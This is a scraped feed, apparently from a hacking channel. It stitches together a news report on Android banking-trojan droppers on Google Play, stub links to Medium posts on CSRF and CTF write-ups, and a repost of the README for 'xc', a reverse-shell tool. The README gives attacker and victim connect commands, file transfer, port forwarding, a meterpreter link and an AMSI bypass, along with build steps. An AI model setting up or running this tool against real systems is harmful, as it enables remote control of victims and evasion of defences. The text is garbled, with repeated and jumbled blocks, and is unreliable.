* QR Scanner
* PDF Document Scanner – Scan to PDF
* PDF Document Scanner
* PDF Document Scanner Free
* CryptoTracker
* Gym and Fitness Trainer

Other malicious apps seen installed by the above droppers and their associated banking trojans are:

* Master Scanner Live (Alien trojan)
* Gym and Fitness Trainer (Alien trojan)
* PDF AI : TEXT RECOGNIZER (Anatsa trojan)
* QR CreatorScanner (Hydra trojan)
* QR CreatorScanner (Ermac trojan)
See Also: Offensive Security Tool: Hashcat During these four months of malicious activity, ThreatFrabric found that the droppers were installed 300,000 times, with some individual droppers installed over 50,000 times.

The number of banks, money transfer apps, cryptocurrency exchanges, cryptocurrency wallets, and mail services is impressive, with approximately 537 online sites and mobile apps targeted for credential theft.

The targeted organizations include Gmail, Chase, Citibank, HSBC, Coinbase, Kraken, Binance, KuCoin, CashApp, Zelle, TrustWallet, MetaMask, and more.
See Also: Hacking stories – Operation Troy – How researchers linked the cyberattacks Google has since removed all of these malicious apps from the Play Store and you should also immediately remove them from your Android device if you have any of them installed.

If you have installed any of the above apps, you should immediately remove them from your Android device.

Furthermore, due to the evolving techniques used by Android malware developers, users must pay more attention to the permissions requested by apps and block the install if they seem overly broad.

Source: www.bleepingcomputer.com (Click Link)https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/PKM201070290_resize-90x90.jpg Panasonic discloses data breach after network hack1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/0_Windows-headpic-90x90.jpg New Windows 10 zero-day gives admin rights, gets unofficial patch2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/1_pD_YMyWDg8A2grOrbaNS6g-90x90.jpg New Linux malware hides in cron jobs with invalid dates5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Microsoft-Vulnerability-RCE-MSHTML-90x90.jpg Hackers exploit Microsoft MSHTML bug to steal Google, Instagram creds6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/windows-hacking-90x90.jpg Malware now trying to exploit new Windows Installer zero-day1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/https___specials-images.forbesimg.com_imageserve_503493618_Green-binary-code-on-screen-with-Zero-Day-highlighted-in-red-as-viewed-under-a_960x0-90x90.jpg New Windows zero-day with public exploit lets you become an admin1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/ezgif.com-gif-maker-2-90x90.jpg Microsoft Exchange servers hacked in internal reply-chain attacks1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/slembunk-android-banking-trojan-targets-31-banks-across-the-world-497808-3-90x90.jpg Android malware BrazKing returns as a stealthier banking trojan2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/redcurl-90x90.jpg RedCurl corporate espionage hackers resume attacks with updated tools2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/ezgif.com-gif-maker-1-1-90x90.jpg WordPress sites are being hacked in fake ransomware attacks2 weeks ago
The post Android banking malware infects 300,000 Google Play users first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Cross-site request forgery (CSRF)
https://medium.com/@shubhamkumarks1999/cross-site-request-forgery-csrf-403574f8aded?source=rss------bug_bounty-5

What is CSRF?Continue reading on Medium » (https://medium.com/@shubhamkumarks1999/cross-site-request-forgery-csrf-403574f8aded?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Cross-site request forgery (CSRF)

What is CSRF?Continue reading on Medium »
Read more...

Platypus Testnet Bug Bounty Winners Announcement
https://medium.com/@Platypus.finance/platypus-testnet-bug-bounty-winners-announcement-966a8649da11?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Our brilliant white hat hackers have been on a roll!🔥🔥Continue reading on Medium » (https://medium.com/@Platypus.finance/platypus-testnet-bug-bounty-winners-announcement-966a8649da11?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Hackers Hack Facebook Accounts (And How To Be Safe Online): 4 Common Ways To Hack Facebook…

https://cdn-images-1.medium.com/max/681/1*8UdnmTt7_3srPwvX2yeIAQ.jpeg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
picoCTF write up: Glory of the Garden

https://cdn-images-1.medium.com/max/600/1*KlGimrIDTFUJqDXnARmz1w.jpeg
Note: You should not copy flag from here just find one by following steps mentioned here.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox — Writer Writeup

https://cdn-images-1.medium.com/max/600/0*IlO3370Qnz4csrs6.png
So this is my write-up on one of the HackTheBox machines called Writer. Let’s go!

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Rise of Fraud in Online Gaming

https://cdn-images-1.medium.com/max/2240/1*09AQrJhyAN_Oxw2kZDi1uA.png
Gaming technology is becoming smarter by the day, as evidenced by the thriving sector of E-Sports.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Exploiting Windows 2008 Server by Eternal Blue Vulnerability to perform Data breach attack using…

https://cdn-images-1.medium.com/max/640/1*BV6vSC8wriBr6eiY8gR-bQ.jpeg
Abstract

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HUB Digest of FUD and Fury: The Tale of The Hacker in The Cradle

https://cdn-images-1.medium.com/max/1200/1*IPQcu_gYKcOGYATcB85t6w.png
Welcome! You have arrived at the haunted digest of cyber security. This is where we share appalling stories of cyber horrors, but also put…

Continue reading on HUB Security »

___________________________
@hacking_Attack
@Hacking_Video

XC - A Small Reverse Shell For Linux And Windows
http://www.kitploit.com/2021/12/xc-small-reverse-shell-for-linux-and.html

___________________________
@hacking_Attack
@Hacking_Video

Netcat like reverse (https://www.kitploit.com/search/label/Reverse) shell for Linux & Windows.
Features Windows * uploads a file to the target !download * downloads a file from the target !lfwd * local portforwarding (like ssh -L) !rfwd * remote portforwarding (like ssh -R) !lsfwd * lists Usage:
└ Shared Commands: !exit
!upload
* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!powe rshell
* starts powershell with AMSI Bypass
!rc
* connects to a local bind shell and restarts this client over it
!runasps
* restart xc with the specified user using powershell
!vulns
* checks for common vulnerabilities
Linux * uploads a file to the target !download * downloads a file from the target !lfwd * local portforwarding (like ssh -L) !rfwd * remote portforwarding (like ssh -R) !lsfwd * lists active forwards !rmfwd * removes forward by index !plugins * lists available plugins !plugin * execute a plugin !spawn * spawns another client on the specified port !shell * runs /bin/sh !runas * restart xc with the specified user !met * connects to a x64/meterpreter/reverse_tcp listener └ OS Specific Commands: !ssh * starts sshd with the configured keys on the specified port ">Usage:
└ Shared Commands: !exit
!upload
* uploads a file to the target
!download
* downloads a file from the target
!lfwd
* local portforwarding (like ssh -L)
!rfwd
* remote portforwarding (like ssh -R)
!lsfwd
* lists active forwards
!rmfwd
* removes forward by index
!plugins
* lists available plugins
!plugin
* execute a plugin
!spawn
* spawns another client on the specified port
!shell
* runs /bin/sh
!runas
* restart xc with the specified user
!met
* connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
!ssh < port>
* starts sshd with the configured keys on the specified port
Examples Linux Attacker: rlwrap xc -l -p 1337 (Server) WindowsVictim : xc.exe 10.10.14.4 1337 (Client) Argumentless: xc_10.10.14.4_1337.exe (Client) Setup Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64 git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx
Linux: python3 build.py
Known Issues When !lfwd fails due to lack of permissions (missing sudo), the entry in !lsfwd is still created Can't Ctrl+C out of powershell started from !shell !net (execute-assembly) fails after using it a few times - for now you can !restart and it might work again Tested: Kali (Attacker) Win 10 (Victim) Credits Included PrivescCheck (https://www.kitploit.com/search/label/PrivescCheck) by itm4n for Windows (https://www.kitploit.com/search/label/Windows) Clients: https://github.com/itm4n/PrivescCheck

Download Xc (https://github.com/xct/xc)

___________________________
@hacking_Attack
@Hacking_Video